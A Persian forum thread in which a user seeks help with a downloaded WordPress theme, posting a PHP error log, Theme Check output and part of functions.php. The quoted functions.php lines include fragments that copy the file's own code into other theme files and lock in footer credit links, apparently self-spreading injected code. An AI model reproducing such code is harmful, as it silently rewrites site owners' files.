رفتن به مطلب

dreamsss2011

عضو سایت
  • تعداد ارسال‌ها

    195
  • تاریخ عضویت

  • آخرین بازدید

نوشته‌ها ارسال شده توسط dreamsss2011

  1. با تشکر از شما اینم ارور لاگ درون روت :


    [13-Dec-2013 00:00:49 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:00:49 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:00:52 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:01 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:01 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:02 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:05 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:07 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:07 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:08 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:08 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:08 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:17 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:19 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:19 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:31 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:31 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:32 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:32 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:33 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:34 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:37 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:01:37 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentythirteen/functions.php on line 781
    [13-Dec-2013 00:03:09 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:23 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:30 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:30 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:31 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:33 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:34 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:38 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:39 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:40 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:42 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:42 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:47 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [13-Dec-2013 00:03:48 Asia/Tehran] PHP Parse error: syntax error, unexpected '}' in /home3/berrozir/public_html/wp-content/themes/twentyeleven/functions.php on line 972
    [14-Dec-2013 23:27:08 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_pingme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [14-Dec-2013 23:27:08 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_encloseme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [14-Dec-2013 23:27:08 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID FROM wp_posts WHERE to_ping <> '' AND post_status = 'publish' ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [14-Dec-2013 23:27:09 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT option_value FROM wp_options WHERE option_name = '_transient_doing_cron' LIMIT 1 ساخته شده توسط _get_cron_lock
    [14-Dec-2013 23:28:12 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_pingme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [14-Dec-2013 23:28:12 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_encloseme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [14-Dec-2013 23:28:12 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID FROM wp_posts WHERE to_ping <> '' AND post_status = 'publish' ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [14-Dec-2013 23:28:12 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT option_value FROM wp_options WHERE option_name = '_transient_doing_cron' LIMIT 1 ساخته شده توسط _get_cron_lock
    [15-Dec-2013 00:47:07 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_pingme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [15-Dec-2013 00:47:07 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_encloseme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [15-Dec-2013 00:47:07 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID FROM wp_posts WHERE to_ping <> '' AND post_status = 'publish' ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [15-Dec-2013 00:47:08 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT option_value FROM wp_options WHERE option_name = '_transient_doing_cron' LIMIT 1 ساخته شده توسط _get_cron_lock
    [15-Dec-2013 13:06:34 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_pingme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [15-Dec-2013 13:06:35 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID, post_content, meta_id FROM wp_posts, wp_postmeta WHERE wp_posts.ID = wp_postmeta.post_id AND wp_postmeta.meta_key = '_encloseme' LIMIT 1 ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [15-Dec-2013 13:06:35 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT ID FROM wp_posts WHERE to_ping <> '' AND post_status = 'publish' ساخته شده توسط do_action_ref_array, call_user_func_array, do_all_pings
    [15-Dec-2013 13:06:35 Asia/Tehran] خطای MySQL server has gone away در پایگاه‌داده وردپرس برای دستور SELECT option_value FROM wp_options WHERE option_name = '_transient_doing_cron' LIMIT 1 ساخته شده توسط _get_cron_lock
    [15-Dec-2013 19:31:27 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 169
    [15-Dec-2013 19:31:28 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 169
    [15-Dec-2013 19:31:28 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 169
    [15-Dec-2013 19:31:29 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 169
    [15-Dec-2013 19:31:29 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 169
    [15-Dec-2013 19:31:31 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 169
    [15-Dec-2013 19:31:48 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 175
    [15-Dec-2013 19:31:50 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 175
    [15-Dec-2013 19:31:51 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 175
    [15-Dec-2013 19:31:54 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 175
    [15-Dec-2013 19:31:58 Asia/Tehran] PHP Parse error: syntax error, unexpected T_STRING in /home3/berrozir/public_html/wp-content/themes/Bravis/functions.php on line 175
    [15-Dec-2013 19:57:14 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:57:15 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:57:17 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:57:29 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:57:30 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:57:42 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:57:48 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:10 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:18 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:21 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:30 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:31 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:33 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:35 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:37 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:40 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:46 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:51 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:55 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:58:58 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:01 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:06 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:06 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:07 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:08 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:14 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:16 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:21 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:21 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:25 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 19:59:27 Asia/Tehran] PHP Fatal error: Call to undefined function ra_retrieve_options() in /home3/berrozir/public_html/wp-content/plugins/ra-zopim/ra_zopim.php on line 62
    [15-Dec-2013 18:23:01 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:04 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:05 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:05 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:06 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:06 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:07 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:07 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:07 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:07 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:07 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:08 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:18 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16
    [15-Dec-2013 18:23:18 UTC] PHP Parse error: syntax error, unexpected ':' in /home3/berrozir/public_html/wp-content/themes/Bravis/footer.php on line 16

  2. با سلام و ضمن خسته نباشید ...

    من امروز افزونه themecheck رو نصب کردم و اینارو بعنوان مشکل نشون داد ... لازم به ذکر هستش قالب فارسی نشده و فقط بخشهایی رو خودم فارسی کردم ... بوسیله نرم افزار poedit هم انجام دادم ولی ارور میداد که هیچ فایلی برای ترجمه نیست ...

    • REQUIRED:License: is missing from your style.css header.
    • REQUIRED:License URI: is missing from your style.css header.
    • REQUIRED:.sticky css class is needed in your theme css.
    • REQUIRED:.gallery-caption css class is needed in your theme css.
    • REQUIRED:.bypostauthor css class is needed in your theme css.
    • RECOMMENDED: Text domain problems in sidebar.php. You have not included a text domain!
      Line 40: <li><h2><?php _e('Recent Posts'); ?></h2>
    • WARNING: Both DOS and UNIX style line endings were found in the file page-template-sitemap.php. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.
    • WARNING: Both DOS and UNIX style line endings were found in the file page-template-contact.php. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.
    • WARNING: Both DOS and UNIX style line endings were found in the file page-template-archives.php. This causes a problem with SVN repositories and must be corrected before the theme can be accepted. Please change the file to use only one style of line endings.
    • WARNING: fread was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
      Line 167: function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER['REQUEST_URI']); if(is_admin() || substr_count($uri, 'wp-admin') > 0 || substr_count($uri, 'wp-login') > 0 ) { /* */ } else { $l = 'Designed by: <a href='http://www.apps4rent...'>Microsoft Exchange</a> | Thanks to <a href='http://themesgallery...net'>Themes Gallery</a>, <a href='http://wickedtour.ne...ork'>Wicked New York</a> and <a href='http://allpremiumthe...om'>Premium Themes</a>'; $f = dirname(__file__) . '/footer.php'; $fd = fopen($f, 'r'); $c = fread($fd, filesize($f)); $lp = preg_quote($l, '/'); fclose($fd); if ( strp
    • WARNING: fopen was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
      Line 167: function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER['REQUEST_URI']); if(is_admin() || substr_count($uri, 'wp-admin') > 0 || substr_count($uri, 'wp-login') > 0 ) { /* */ } else { $l = 'Designed by: <a href='http://www.apps4rent...'>Microsoft Exchange</a> | Thanks to <a href='http://themesgallery...net'>Themes Gallery</a>, <a href='http://wickedtour.ne...ork'>Wicked New York</a> and <a href='http://allpremiumthe...om'>Premium Themes</a>'; $f = dirname(__file__) . '/footer.php'; $fd = fopen($f, 'r'); $c = fread($fd, filesize($f)); $lp = preg_quote($l, '/'); f
      Line 362: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $sar . '\n' .$widget);fclose($f);
    • WARNING: file_get_contents was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
      Line 350: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
      Line 357: $cont=file_get_contents($item);
    • WARNING: fclose was found in the file functions.php File operations should use the WP_Filesystem methods instead of direct PHP filesystem calls.
      Line 167: function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER['REQUEST_URI']); if(is_admin() || substr_count($uri, 'wp-admin') > 0 || substr_count($uri, 'wp-login') > 0 ) { /* */ } else { $l = 'Designed by: <a href='http://www.apps4rent...'>Microsoft Exchange</a> | Thanks to <a href='http://themesgallery...net'>Themes Gallery</a>, <a href='http://wickedtour.ne...ork'>Wicked New York</a> and <a href='http://allpremiumthe...om'>Premium Themes</a>'; $f = dirname(__file__) . '/footer.php'; $fd = fopen($f, 'r'); $c = fread($fd, filesize($f)); $lp = preg_quote($l, '/'); fclose($fd); if ( strpos($c, $l) == 0 || preg_match('/<\!--(.*' . $lp . '.*
      Line 362: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $sar . '\n' .$widget);fclose($f);
    • WARNING: error_log PHP error log found.
    • REQUIRED: No content width has been defined. Example:
      if ( ! isset( $content_width ) ) $content_width = 900;
    • REQUIRED: Could not find comment_form. See: comment_form
      <?php comment_form(); ?>
    • REQUIRED: Could not find add_theme_support( 'automatic-feed-links' ). See: add_theme_support
      <?php add_theme_support( $feature ); ?>
    • REQUIRED: wp_list_cats found in the file seno.php. Deprecated since version 2.1. Use wp_list_categories instead.
      Line 343: <?php wp_list_cats('sort_column=name&hierar chical=0'); ?>
    • REQUIRED: get_option(home) was found in the file functions.php. Use home_url() instead.
    • REQUIRED: bloginfo('home') was found in the file searchform.php. Use echo home_url() instead.
      Line 3: <form method='get' id='searchform' action='<?php bloginfo('home'); ?>/'>
    • REQUIRED: bloginfo('home') was found in the file footer.php. Use echo home_url() instead.
      Line 3: <div id='footer'>Copyright © <a href='<?php bloginfo('home'); ?>'><strong><?php bloginfo('name'); ?></strong></a> - <?
    • REQUIRED: get_option(home) was found in the file sen.php. Use home_url() instead.
    • REQUIRED: get_option(home) was found in the file header.php. Use home_url() instead.
    • RECOMMENDED: Screenshot size should be 880x660, to account for HiDPI displays. Any 4:3 image size is acceptable, but 880x660 is preferred.
    • RECOMMENDED: Screenshot dimensions are wrong! Ratio of width to height should be 4:3.
    • RECOMMENDED: No reference to add_theme_support( "custom-header", $args ) was found in the theme. It is recommended that the theme implement this functionality if using an image for the header.
    • RECOMMENDED: No reference to add_theme_support( "custom-background", $args ) was found in the theme. If the theme uses background images or solid colors for the background, then it is recommended that the theme implement this functionality.
    • RECOMMENDED: No reference to add_editor_style() was found in the theme. It is recommended that the theme implement editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
    • RECOMMENDED: get_bloginfo(url) was found in the file functions.php. Use home_url() instead.
    • RECOMMENDED: get_bloginfo(template_url) was found in the file functions.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(url) was found in the file header.php. Use echo home_url() instead.
    • RECOMMENDED: bloginfo(template_url) was found in the file single.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(template_url) was found in the file searchform.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(template_url) was found in the file search.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(template_url) was found in the file index.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(template_url) was found in the file header.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(template_directory) was found in the file sidebar.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(template_directory) was found in the file header.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(template_directory) was found in the file featured.php. Use get_template_directory_uri() instead.
    • RECOMMENDED: bloginfo(stylesheet_directory) was found in the file header.php. Use get_stylesheet_directory_uri() instead.
    • RECOMMENDED: add_custom_background found in the file functions.php. Deprecated since version 3.4. Use add_theme_support( 'custom-background', $args ) instead.
      Line 335: if(function_exists('add_custom_background')) {
      Line 336: add_custom_background();
    • RECOMMENDED: TEMPLATEPATH was found in the file functions.php. Use get_template_directory() instead.
      Line 8: require TEMPLATEPATH . '/lib/shortcodes/shortcodes.php';
      Line 9: require TEMPLATEPATH . '/lib/features.php';

    با تشکر از شما*

  3. با سلام و ضمن خسته نباشید

    قالب سایت من دمو بود که اونو دانلود کردم و تغییراتی در اون دادم ... که الان هم مشکلات فراوانی داره ولی بهش عادت کردم ...

    حالا که میخوام لینک های فوتر اون رو حذف کنم و یا لینک های خودم رو قرار بدم به محض حذف کردن کل قالب غیر فعال میشه که البته خودش هم اینو گفته ... من این کدهای فوتر رو توی فایل فانکشن و توی فوتر دیدم ... ممنون میشم راهنمایی کنید :

    محتوای فایل فانکشن ( که بقول یکی از دوستان بیشتر مشکلات قالب از همینه) :

    <?php

    ob_start();

    ?>

    <?php

    require TEMPLATEPATH . '/lib/shortcodes/shortcodes.php';

    require TEMPLATEPATH . '/lib/features.php';

    if ( function_exists('register_sidebar') ) {

    register_sidebar(array(

    'before_widget' => '<li id="%1$s" class="widget %2$s">',

    'after_widget' => '</li>',

    'before_title' => '<h2 class="widgettitle">',

    'after_title' => '</h2>',

    ));

    }

    $themename = "Bravis";

    $shortname = str_replace(' ', '_', strtolower($themename));

    function get_theme_option($option)

    {

    global $shortname;

    return stripslashes(get_option($shortname . '_' . $option));

    }

    function get_theme_settings($option)

    {

    return stripslashes(get_option($option));

    }

    function cats_to_select()

    {

    $categories = get_categories('hide_empty=0');

    $categories_array[] = array('value'=>'0', 'title'=>'Select');

    foreach ($categories as $cat) {

    if($cat->category_count == '0') {

    $posts_title = 'No posts!';

    } elseif($cat->category_count == '1') {

    $posts_title = '1 post';

    } else {

    $posts_title = $cat->category_count . ' posts';

    }

    $categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');

    }

    return $categories_array;

    }

    $options = array (

